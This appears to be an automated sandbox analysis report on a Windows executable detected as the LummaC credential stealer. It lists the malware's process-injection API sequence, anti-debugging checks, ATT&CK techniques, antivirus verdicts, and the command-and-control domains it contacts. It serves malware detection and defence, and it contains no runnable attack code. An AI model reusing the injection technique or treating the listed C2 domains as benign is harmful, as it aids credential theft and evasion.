Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aqbjn3fl.exe

ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\aqbjn3fl.exe

File read: C:\Users\user\Desktop\aqbjn3fl.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aqbjn3fl.exe "C:\Users\user\Desktop\aqbjn3fl.exe"
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Process created: C:\Users\user\Desktop\aqbjn3fl.exe "C:\Users\user\Desktop\aqbjn3fl.exe"
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Process created: C:\Users\user\Desktop\aqbjn3fl.exe "C:\Users\user\Desktop\aqbjn3fl.exe"	Jump to behavior

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: aqbjn3fl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: aqbjn3fl.exe	Static PE information: section name: .00cfg
Source: aqbjn3fl.exe	Static PE information: section name: .bOS

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009E011A push ecx; ret		0_2_009E012D
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009E011A push ecx; ret		3_2_009E012D

Source: aqbjn3fl.exe

Static PE information: section name: .text entropy: 6.95731113161578

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\aqbjn3fl.exe

API coverage: 8.6 %

Source: C:\Users\user\Desktop\aqbjn3fl.exe TID: 4808	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\aqbjn3fl.exe TID: 4808	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\aqbjn3fl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009DF6A0 FindFirstFileExW,	0_2_009DF6A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009DF751 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009DF751
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009DF6A0 FindFirstFileExW,	3_2_009DF6A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009DF751 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_009DF751

Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1591874242.000000000361C000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000361C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 3_2_0043E470 LdrInitializeThunk,

3_2_0043E470

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 0_2_009D96CF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_009D96CF

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009ED18D mov edi, dword ptr fs:[00000030h]	0_2_009ED18D
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BD478 mov edi, dword ptr fs:[00000030h]	0_2_009BD478
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BD07E mov edi, dword ptr fs:[00000030h]	0_2_009BD07E
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C2C60 mov eax, dword ptr fs:[00000030h]	0_2_009C2C60
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C2C60 mov eax, dword ptr fs:[00000030h]	0_2_009C2C60
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BCD0A mov edi, dword ptr fs:[00000030h]	0_2_009BCD0A
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BCD0A mov edi, dword ptr fs:[00000030h]	0_2_009BCD0A
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BE946 mov edi, dword ptr fs:[00000030h]	0_2_009BE946
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BD6BB mov edi, dword ptr fs:[00000030h]	0_2_009BD6BB
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BD6BB mov edi, dword ptr fs:[00000030h]	0_2_009BD6BB
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C2BBB mov eax, dword ptr fs:[00000030h]	0_2_009C2BBB
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C2BBB mov eax, dword ptr fs:[00000030h]	0_2_009C2BBB
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BE359 mov edi, dword ptr fs:[00000030h]	0_2_009BE359
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C2AC0 mov eax, dword ptr fs:[00000030h]	3_2_009C2AC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C2AC0 mov eax, dword ptr fs:[00000030h]	3_2_009C2AC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C2AC0 mov eax, dword ptr fs:[00000030h]	3_2_009C2AC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C2AC0 mov eax, dword ptr fs:[00000030h]	3_2_009C2AC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C2AC0 mov eax, dword ptr fs:[00000030h]	3_2_009C2AC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0 mov edi, dword ptr fs:[00000030h]	3_2_009BCCC0

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 0_2_009DCB30 GetProcessHeap,

0_2_009DCB30

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D904F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_009D904F
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D96CF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009D96CF
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D96C3 SetUnhandledExceptionFilter,	0_2_009D96C3
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009DB7BA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009DB7BA
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D904F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_009D904F
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D96CF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_009D96CF
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D96C3 SetUnhandledExceptionFilter,	3_2_009D96C3
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009DB7BA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_009DB7BA

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 0_2_009ED18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_009ED18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Memory written: C:\Users\user\Desktop\aqbjn3fl.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: aqbjn3fl.exe, 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: aqbjn3fl.exe, 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: aqbjn3fl.exe, 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: aqbjn3fl.exe, 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: aqbjn3fl.exe, 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Process created: C:\Users\user\Desktop\aqbjn3fl.exe "C:\Users\user\Desktop\aqbjn3fl.exe"

Jump to behavior

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 0_2_009D98F5 cpuid

0_2_009D98F5

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 0_2_009D9586 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_009D9586

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 3.2.aqbjn3fl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aqbjn3fl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 3.2.aqbjn3fl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aqbjn3fl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	33 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
aqbjn3fl.exe	79%	ReversingLabs	Win32.Trojan.Stealerc
aqbjn3fl.exe	100%	Avira	HEUR/AGEN.1361736
aqbjn3fl.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://lev-tolstoi.com/	0%	Avira URL Cloud	safe
push-hook.cyou	100%	Avira URL Cloud	malware
https://community.fastH	0%	Avira URL Cloud	safe
https://community.fastly.steamstaK	0%	Avira URL Cloud	safe
https://community.fastly.steamstatic.co	0%	Avira URL Cloud	safe
https://community.fastly.steamstatic.	0%	Avira URL Cloud	safe
https://community.fastly.st	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/2	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/pi	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
librari-night.sbs	unknown	unknown	false	high
owner-vacat10n.sbs	unknown	unknown	false	high
p10tgrace.sbs	unknown	unknown	false	high
befall-sm0ker.sbs	unknown	unknown	false	high
3xp3cts1aim.sbs	unknown	unknown	false	high
p3ar11fter.sbs	unknown	unknown	false	high
push-hook.cyou	unknown	unknown	false	high
peepburry828.sbs	unknown	unknown	false	high
processhol.sbs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
librari-night.sbs	false		high
peepburry828.sbs	false		high
owner-vacat10n.sbs	false		high
p10tgrace.sbs	false		high
processhol.sbs	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
befall-sm0ker.sbs	false		high
push-hook.cyou	true	Avira URL Cloud: malware	unknown
p3ar11fter.sbs	false		high
https://lev-tolstoi.com/api	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/my/wishlist/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DW	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	aqbjn3fl.exe	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	aqbjn3fl.exe	false		high
http://ocsp.sectigo.com0	aqbjn3fl.exe	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.co	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	aqbjn3fl.exe	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	aqbjn3fl.exe	false		high
https://store.steampowered.com/stats/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.st	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=kOc26QwM0vlX&l=e	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=0Xxx	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
